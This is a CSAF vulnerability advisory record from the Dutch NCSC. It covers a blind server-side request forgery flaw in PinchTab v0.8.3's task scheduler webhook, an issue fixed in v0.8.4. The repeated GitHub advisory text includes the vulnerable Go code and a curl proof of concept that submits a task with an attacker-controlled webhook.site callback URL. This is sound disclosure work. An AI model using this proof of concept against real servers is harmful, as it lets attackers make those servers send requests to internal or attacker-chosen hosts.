{ "document": { "category": "csaf_base", "csaf_version": "2.0", "distribution": { "tlp": { "label": "WHITE" } }, "lang": "en", "notes": [ { "category": "legal_disclaimer", "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings." } ], "publisher": { "category": "coordinator", "contact_details": "cert@ncsc.nl", "name": "National Cyber Security Centre", "namespace": "https://www.ncsc.nl/" }, "title": "CVE-2026-33619", "tracking": { "current_release_date": "2026-03-30T19:35:08.575337Z", "generator": { "date": "2026-02-17T15:00:00Z", "engine": { "name": "V.E.L.M.A", "version": "1.7" } }, "id": "CVE-2026-33619", "initial_release_date": "2026-03-25T01:00:00.115366Z", "revision_history": [ { "date": "2026-03-25T01:00:00.115366Z", "number": "1", "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (4).| CWES updated (1)." }, { "date": "2026-03-25T01:00:03.746948Z", "number": "2", "summary": "NCSC Score created." }, { "date": "2026-03-25T18:12:49.361755Z", "number": "3", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| References created (3).| CWES updated (1)." }, { "date": "2026-03-25T18:12:50.733310Z", "number": "4", "summary": "NCSC Score updated." }, { "date": "2026-03-26T21:27:14.993944Z", "number": "5", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (3).| CWES updated (1)." }, { "date": "2026-03-26T21:27:21.698275Z", "number": "6", "summary": "NCSC Score updated." }, { "date": "2026-03-26T21:38:41.249598Z", "number": "7", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| References created (3).| CWES updated (1)." }, { "date": "2026-03-26T21:38:51.697962Z", "number": "8", "summary": "NCSC Score updated." }, { "date": "2026-03-27T00:13:42.799870Z", "number": "9", "summary": "Source created.| CVE status created. (valid)| Description created for source.| References created (3)." }, { "date": "2026-03-27T20:56:41.713233Z", "number": "10", "summary": "Source connected.| CVE status created. (valid)| EPSS created." }, { "date": "2026-03-27T20:56:45.653613Z", "number": "11", "summary": "NCSC Score updated." }, { "date": "2026-03-30T12:39:45.554582Z", "number": "12", "summary": "Unknown change." } ], "status": "interim", "version": "12" } }, "product_tree": { "branches": [ { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/<0.8.4", "product": { "name": "vers:unknown/<0.8.4", "product_id": "CSAFPID-5919276" } }, { "category": "product_version_range", "name": "vers:unknown/>=0|<0.8.4", "product": { "name": "vers:unknown/>=0|<0.8.4", "product_id": "CSAFPID-5907191" } } ], "category": "product_name", "name": "pinchtab" } ], "category": "vendor", "name": "pinchtab" } ] }, "vulnerabilities": [ { "cve": "CVE-2026-33619", "cwe": { "id": "CWE-918", "name": "Server-Side Request Forgery (SSRF)" }, "notes": [ { "category": "description", "text": "### Summary\nPinchTab v0.8.3 contains a server-side request forgery issue in the optional scheduler's webhook delivery path. When a task is submitted to `POST /tasks` with a user-controlled `callbackUrl`, the v0.8.3 scheduler sends an outbound HTTP `POST` to that URL when the task reaches a terminal state. In that release, the webhook path validated only the URL scheme and did not reject loopback, private, link-local, or other non-public destinations.\n\nBecause the v0.8.3 implementation also used the default HTTP client behavior, redirects were followed and the destination was not pinned to validated IPs. This allowed blind SSRF from the PinchTab server to attacker-chosen HTTP(S) targets reachable from the server.\n\nThis issue is narrower than a general unauthenticated internet-facing SSRF. The scheduler is optional and off by default, and in token-protected deployments the attacker must already be able to submit tasks using the server's master API token. In PinchTab's intended deployment model, that token represents administrative control rather than a low-privilege role. Tokenless deployments lower the barrier further, but that is a separate insecure configuration state rather than impact created by the webhook bug itself.\n\nPinchTab's default deployment model is local-first and user-controlled, with loopback bind and token-based access in the recommended setup. That lowers practical risk in default use, even though it does not remove the underlying webhook issue when the scheduler is enabled and reachable.\n\nThis was addressed in v0.8.4 by validating callback targets before dispatch, rejecting non-public IP ranges, pinning delivery to validated IPs, disabling redirect following, and validating `callbackUrl` during task submission.\n\n### Details\n**Issue 1 - Webhook dispatch validated only scheme in v0.8.3 (`internal/scheduler/webhook.go`):**\nThe vulnerable `sendWebhook()` implementation accepted any `http` or `https` URL and dispatched the outbound request without destination IP validation:\n\n```go\n// internal/scheduler/webhook.go - v0.8.3\nparsed, err := url.Parse(callbackURL)\nif parsed.Scheme != \"http\" && parsed.Scheme != \"https\" {\n slog.Warn(\"webhook: unsupported scheme\", ...)\n return\n}\n\nreq, _ := http.NewRequest(http.MethodPost, callbackURL, bytes.NewReader(payload))\nresp, err := webhookClient.Do(req)\n```\n\nIn v0.8.3 there was no hostname resolution and no rejection of loopback, private, link-local, or other non-public addresses before dispatch.\n\n**Issue 2 - `callbackUrl` was accepted without server-side validation in v0.8.3 (`internal/scheduler/task.go`):**\nThe task submission schema accepted a user-controlled `callbackUrl`, and the v0.8.3 request validation logic did not validate it:\n\n```go\n// internal/scheduler/task.go - v0.8.3\ntype SubmitRequest struct {\n AgentID string `json:\"agentId\"`\n Action string `json:\"action\"`\n CallbackURL string `json:\"callbackUrl,omitempty\"`\n}\n\nfunc (r *SubmitRequest) Validate() error {\n if r.AgentID == \"\" {\n return fmt.Errorf(\"missing required field 'agentId'\")\n }\n if r.Action == \"\" {\n return fmt.Errorf(\"missing required field 'action'\")\n }\n return nil\n}\n```\n\nThis meant a user-supplied `callbackUrl` flowed into webhook delivery without early rejection.\n\n**Issue 3 - Redirects were followed in v0.8.3:**\nThe v0.8.3 webhook client used the default `http.Client`, so redirects were followed. That made the SSRF broader than the initially supplied URL alone, because an attacker-controlled external endpoint could redirect the server to a second destination.\n\n### PoC\n**Prerequisites**\n\n- PinchTab `v0.8.3`\n- `scheduler.enabled: true` because the scheduler is off by default\n- The attacker can submit tasks to `POST /tasks`\n- In token-protected deployments, this requires the master API token\n- In deployments intentionally or accidentally running without a token, the barrier is lower, but that is separate from the webhook bug itself\n- An attacker-controlled HTTP listener to receive and log the outbound request\n\nEnable scheduler if required:\n\n```bash\ncurl -s -X PUT http://TARGET:9867/api/config \\\n -H \"Authorization: Bearer \" \\\n -H \"Content-Type: application/json\" \\\n -d '{\"scheduler\":{\"enabled\":true}}'\n```\n\nRestart PinchTab after changing config.\n\n**Execution**\nSubmit a task with an attacker-controlled `callbackUrl`. A valid `tabId` is not required because the webhook fires for terminal task states, including failure:\n\n```bash\ncurl -s -X POST http://TARGET:9867/tasks \\\n -H \"Authorization: Bearer \" \\\n -H \"Content-Type: application/json\" \\\n -d '{\n \"agentId\": \"poc-agent\",\n \"action\": \"navigate\",\n \"params\": {\"url\": \"https://example.com\"},\n \"callbackUrl\": \"https://webhook.site/c4030a47-259a-4ea4-ae34-fdbf96914b19\"\n }'\n```\n\nConfirm the task was accepted:\n\n```json\n{\n \"createdAt\": \"2026-03-18T10:02:39.847097+07:00\",\n \"position\": 1,\n \"state\": \"queued\",\n \"taskId\": \"tsk_2633324a\"\n}\n```\n\nPoll task state:\n\n```bash\ncurl -s -H \"Authorization: Bearer \" http://TARGET:9867/tasks/tsk_2633324a\n```\n\nExample result:\n\n```json\n{\n \"taskId\": \"tsk_2633324a\",\n \"state\": \"failed\",\n \"error\": \"tabId is required for task execution\",\n \"callbackUrl\": \"https://webhook.site/c4030a47-259a-4ea4-ae34-fdbf96914b19\",\n \"completedAt\": \"2026-03-18T10:02:39.858043+07:00\"\n}\n```\n\nQuery the attacker-controlled receiver for the inbound POST:\n\n```bash\ncurl -s \"https://webhook.site/token/c4030a47-259a-4ea4-ae34-fdbf96914b19/requests\" \\\n | python3 -m json.tool\n```\n\n**Observation**\n1. The task is accepted and reaches a terminal state.\n2. The attacker-controlled receiver logs an inbound POST originating from the PinchTab server's egress address.\n3. The webhook includes the task snapshot payload and PinchTab-specific headers, confirming server-side delivery.\n4. In v0.8.3, the same dispatch path can be directed at internal or non-public HTTP targets reachable from the server.\n5. This PoC demonstrates blind outbound request capability; it does not by itself demonstrate response-body disclosure or automatic cloud credential theft.\n\n### Impact\n1. Blind SSRF from the PinchTab server to attacker-chosen HTTP(S) targets when the optional scheduler is enabled and reachable.\n2. Potential interaction with internal HTTP services or metadata endpoints that are reachable from the server but not from the attacker directly.\n3. Limited direct confidentiality impact because the webhook is a fixed outbound POST and the response body is not returned to the attacker through the task API.\n4. Potential low-integrity impact where internal services accept unauthenticated POST requests and perform state-changing actions.\n5. Practical risk is lower in the documented default local-first deployment model, where loopback bind, generated tokens, and a disabled scheduler reduce exposure.\n\n### Suggested Remediation\nApply the same outbound destination controls used for safer HTTP egress paths to scheduler webhook delivery. Specifically:\n\n1. Resolve the hostname of `callbackUrl` before dispatch and reject loopback, private, link-local, multicast, unspecified, and other non-public IP ranges.\n2. Pin delivery to the validated IP set instead of relying on fresh DNS resolution during connect.\n3. Reject redirects or re-validate every redirect target before following it.\n4. Validate `callbackUrl` during task submission so unsafe targets fail early instead of only at delivery time.\n5. Optionally add an allowlist for approved webhook destinations if operators need narrowly scoped internal receivers.\n\n### Evidence Capture\n**Exploit**\n\n\"new\"\n\n**Verify**\n\n\"web\"", "title": "github - https://api.github.com/advisories/GHSA-xqq2-4j46-vwp7" }, { "category": "description", "text": "### Summary\nPinchTab v0.8.3 contains a server-side request forgery issue in the optional scheduler's webhook delivery path. When a task is submitted to `POST /tasks` with a user-controlled `callbackUrl`, the v0.8.3 scheduler sends an outbound HTTP `POST` to that URL when the task reaches a terminal state. In that release, the webhook path validated only the URL scheme and did not reject loopback, private, link-local, or other non-public destinations.\n\nBecause the v0.8.3 implementation also used the default HTTP client behavior, redirects were followed and the destination was not pinned to validated IPs. This allowed blind SSRF from the PinchTab server to attacker-chosen HTTP(S) targets reachable from the server.\n\nThis issue is narrower than a general unauthenticated internet-facing SSRF. The scheduler is optional and off by default, and in token-protected deployments the attacker must already be able to submit tasks using the server's master API token. In PinchTab's intended deployment model, that token represents administrative control rather than a low-privilege role. Tokenless deployments lower the barrier further, but that is a separate insecure configuration state rather than impact created by the webhook bug itself.\n\nPinchTab's default deployment model is local-first and user-controlled, with loopback bind and token-based access in the recommended setup. That lowers practical risk in default use, even though it does not remove the underlying webhook issue when the scheduler is enabled and reachable.\n\nThis was addressed in v0.8.4 by validating callback targets before dispatch, rejecting non-public IP ranges, pinning delivery to validated IPs, disabling redirect following, and validating `callbackUrl` during task submission.\n\n### Details\n**Issue 1 - Webhook dispatch validated only scheme in v0.8.3 (`internal/scheduler/webhook.go`):**\nThe vulnerable `sendWebhook()` implementation accepted any `http` or `https` URL and dispatched the outbound request without destination IP validation:\n\n```go\n// internal/scheduler/webhook.go - v0.8.3\nparsed, err := url.Parse(callbackURL)\nif parsed.Scheme != \"http\" && parsed.Scheme != \"https\" {\n slog.Warn(\"webhook: unsupported scheme\", ...)\n return\n}\n\nreq, _ := http.NewRequest(http.MethodPost, callbackURL, bytes.NewReader(payload))\nresp, err := webhookClient.Do(req)\n```\n\nIn v0.8.3 there was no hostname resolution and no rejection of loopback, private, link-local, or other non-public addresses before dispatch.\n\n**Issue 2 - `callbackUrl` was accepted without server-side validation in v0.8.3 (`internal/scheduler/task.go`):**\nThe task submission schema accepted a user-controlled `callbackUrl`, and the v0.8.3 request validation logic did not validate it:\n\n```go\n// internal/scheduler/task.go - v0.8.3\ntype SubmitRequest struct {\n AgentID string `json:\"agentId\"`\n Action string `json:\"action\"`\n CallbackURL string `json:\"callbackUrl,omitempty\"`\n}\n\nfunc (r *SubmitRequest) Validate() error {\n if r.AgentID == \"\" {\n return fmt.Errorf(\"missing required field 'agentId'\")\n }\n if r.Action == \"\" {\n return fmt.Errorf(\"missing required field 'action'\")\n }\n return nil\n}\n```\n\nThis meant a user-supplied `callbackUrl` flowed into webhook delivery without early rejection.\n\n**Issue 3 - Redirects were followed in v0.8.3:**\nThe v0.8.3 webhook client used the default `http.Client`, so redirects were followed. That made the SSRF broader than the initially supplied URL alone, because an attacker-controlled external endpoint could redirect the server to a second destination.\n\n### PoC\n**Prerequisites**\n\n- PinchTab `v0.8.3`\n- `scheduler.enabled: true` because the scheduler is off by default\n- The attacker can submit tasks to `POST /tasks`\n- In token-protected deployments, this requires the master API token\n- In deployments intentionally or accidentally running without a token, the barrier is lower, but that is separate from the webhook bug itself\n- An attacker-controlled HTTP listener to receive and log the outbound request\n\nEnable scheduler if required:\n\n```bash\ncurl -s -X PUT http://TARGET:9867/api/config \\\n -H \"Authorization: Bearer \" \\\n -H \"Content-Type: application/json\" \\\n -d '{\"scheduler\":{\"enabled\":true}}'\n```\n\nRestart PinchTab after changing config.\n\n**Execution**\nSubmit a task with an attacker-controlled `callbackUrl`. A valid `tabId` is not required because the webhook fires for terminal task states, including failure:\n\n```bash\ncurl -s -X POST http://TARGET:9867/tasks \\\n -H \"Authorization: Bearer \" \\\n -H \"Content-Type: application/json\" \\\n -d '{\n \"agentId\": \"poc-agent\",\n \"action\": \"navigate\",\n \"params\": {\"url\": \"https://example.com\"},\n \"callbackUrl\": \"https://webhook.site/c4030a47-259a-4ea4-ae34-fdbf96914b19\"\n }'\n```\n\nConfirm the task was accepted:\n\n```json\n{\n \"createdAt\": \"2026-03-18T10:02:39.847097+07:00\",\n \"position\": 1,\n \"state\": \"queued\",\n \"taskId\": \"tsk_2633324a\"\n}\n```\n\nPoll task state:\n\n```bash\ncurl -s -H \"Authorization: Bearer \" http://TARGET:9867/tasks/tsk_2633324a\n```\n\nExample result:\n\n```json\n{\n \"taskId\": \"tsk_2633324a\",\n \"state\": \"failed\",\n \"error\": \"tabId is required for task execution\",\n \"callbackUrl\": \"https://webhook.site/c4030a47-259a-4ea4-ae34-fdbf96914b19\",\n \"completedAt\": \"2026-03-18T10:02:39.858043+07:00\"\n}\n```\n\nQuery the attacker-controlled receiver for the inbound POST:\n\n```bash\ncurl -s \"https://webhook.site/token/c4030a47-259a-4ea4-ae34-fdbf96914b19/requests\" \\\n | python3 -m json.tool\n```\n\n**Observation**\n1. The task is accepted and reaches a terminal state.\n2. The attacker-controlled receiver logs an inbound POST originating from the PinchTab server's egress address.\n3. The webhook includes the task snapshot payload and PinchTab-specific headers, confirming server-side delivery.\n4. In v0.8.3, the same dispatch path can be directed at internal or non-public HTTP targets reachable from the server.\n5. This PoC demonstrates blind outbound request capability; it does not by itself demonstrate response-body disclosure or automatic cloud credential theft.\n\n### Impact\n1. Blind SSRF from the PinchTab server to attacker-chosen HTTP(S) targets when the optional scheduler is enabled and reachable.\n2. Potential interaction with internal HTTP services or metadata endpoints that are reachable from the server but not from the attacker directly.\n3. Limited direct confidentiality impact because the webhook is a fixed outbound POST and the response body is not returned to the attacker through the task API.\n4. Potential low-integrity impact where internal services accept unauthenticated POST requests and perform state-changing actions.\n5. Practical risk is lower in the documented default local-first deployment model, where loopback bind, generated tokens, and a disabled scheduler reduce exposure.\n\n### Suggested Remediation\nApply the same outbound destination controls used for safer HTTP egress paths to scheduler webhook delivery. Specifically:\n\n1. Resolve the hostname of `callbackUrl` before dispatch and reject loopback, private, link-local, multicast, unspecified, and other non-public IP ranges.\n2. Pin delivery to the validated IP set instead of relying on fresh DNS resolution during connect.\n3. Reject redirects or re-validate every redirect target before following it.\n4. Validate `callbackUrl` during task submission so unsafe targets fail early instead of only at delivery time.\n5. Optionally add an allowlist for approved webhook destinations if operators need narrowly scoped internal receivers.\n\n### Evidence Capture\n**Exploit**\n\n\"new\"\n\n**Verify**\n\n\"web\"", "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGHSA-xqq2-4j46-vwp7.json?alt=media" }, { "category": "description", "text": "PinchTab has Unauthenticated Blind SSRF in Task Scheduler via Unvalidated callbackUrl in github.com/pinchtab/pinchtab", "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGO-2026-4825.json?alt=media" }, { "category": "description", "text": "PinchTab is a standalone HTTP server that gives AI agents direct control over a Chrome browser. PinchTab v0.8.3 contains a server-side request forgery issue in the optional scheduler's webhook delivery path. When a task is submitted to `POST /tasks` with a user-controlled `callbackUrl`, the v0.8.3 scheduler sends an outbound HTTP `POST` to that URL when the task reaches a terminal state. In that release, the webhook path validated only the URL scheme and did not reject loopback, private, link-local, or other non-public destinations. Because the v0.8.3 implementation also used the default HTTP client behavior, redirects were followed and the destination was not pinned to validated IPs. This allowed blind SSRF from the PinchTab server to attacker-chosen HTTP(S) targets reachable from the server. This issue is narrower than a general unauthenticated internet-facing SSRF. The scheduler is optional and off by default, and in token-protected deployments the attacker must already be able to submit tasks using the server's master API token. In PinchTab's intended deployment model, that token represents administrative control rather than a low-privilege role. Tokenless deployments lower the barrier further, but that is a separate insecure configuration state rather than impact created by the webhook bug itself. PinchTab's default deployment model is local-first and user-controlled, with loopback bind and token-based access in the recommended setup. That lowers practical risk in default use, even though it does not remove the underlying webhook issue when the scheduler is enabled and reachable. This was addressed in v0.8.4 by validating callback targets before dispatch, rejecting non-public IP ranges, pinning delivery to validated IPs, disabling redirect following, and validating `callbackUrl` during task submission.", "title": "nvd - https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-33619" }, { "category": "description", "text": "PinchTab is a standalone HTTP server that gives AI agents direct control over a Chrome browser. PinchTab v0.8.3 contains a server-side request forgery issue in the optional scheduler's webhook delivery path. When a task is submitted to `POST /tasks` with a user-controlled `callbackUrl`, the v0.8.3 scheduler sends an outbound HTTP `POST` to that URL when the task reaches a terminal state. In that release, the webhook path validated only the URL scheme and did not reject loopback, private, link-local, or other non-public destinations. Because the v0.8.3 implementation also used the default HTTP client behavior, redirects were followed and the destination was not pinned to validated IPs. This allowed blind SSRF from the PinchTab server to attacker-chosen HTTP(S) targets reachable from the server. This issue is narrower than a general unauthenticated internet-facing SSRF. The scheduler is optional and off by default, and in token-protected deployments the attacker must already be able to submit tasks using the server's master API token. In PinchTab's intended deployment model, that token represents administrative control rather than a low-privilege role. Tokenless deployments lower the barrier further, but that is a separate insecure configuration state rather than impact created by the webhook bug itself. PinchTab's default deployment model is local-first and user-controlled, with loopback bind and token-based access in the recommended setup. That lowers practical risk in default use, even though it does not remove the underlying webhook issue when the scheduler is enabled and reachable. This was addressed in v0.8.4 by validating callback targets before dispatch, rejecting non-public IP ranges, pinning delivery to validated IPs, disabling redirect following, and validating `callbackUrl` during task submission.", "title": "cveprojectv5 - https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/33xxx/CVE-2026-33619.json" }, { "category": "other", "text": "0.00023", "title": "EPSS" }, { "category": "other", "text": "3.8", "title": "NCSC Score" }, { "category": "other", "text": "There is cwe data available from source Nvd, The value of the most recent EPSS score", "title": "NCSC Score top decreasing factors" } ], "product_status": { "known_affected": [ "CSAFPID-5907191", "CSAFPID-5919276" ] }, "references": [ { "category": "external", "summary": "Source - github", "url": "https://api.github.com/advisories/GHSA-xqq2-4j46-vwp7" }, { "category": "external", "summary": "Source - osv", "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGHSA-xqq2-4j46-vwp7.json?alt=media" }, { "category": "external", "summary": "Source - nvd", "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-33619" }, { "category": "external", "summary": "Source - cveprojectv5", "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/33xxx/CVE-2026-33619.json" }, { "category": "external", "summary": "Source - osv", "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGO-2026-4825.json?alt=media" }, { "category": "external", "summary": "Source - first", "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd; osv", "url": "https://github.com/pinchtab/pinchtab/security/advisories/GHSA-xqq2-4j46-vwp7" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd; osv", "url": "https://github.com/pinchtab/pinchtab/commit/c824574c3a05073dec2f5e9c219e22ffff8de445" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd; osv", "url": "https://github.com/pinchtab/pinchtab/releases/tag/v0.8.4" }, { "category": "external", "summary": "Reference - github", "url": "https://github.com/advisories/GHSA-xqq2-4j46-vwp7" } ], "scores": [ { "cvss_v3": { "version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:L/A:N", "baseScore": 4.1, "baseSeverity": "MEDIUM" }, "products": [ "CSAFPID-5907191", "CSAFPID-5919276" ] } ], "title": "CVE-2026-33619" } ] }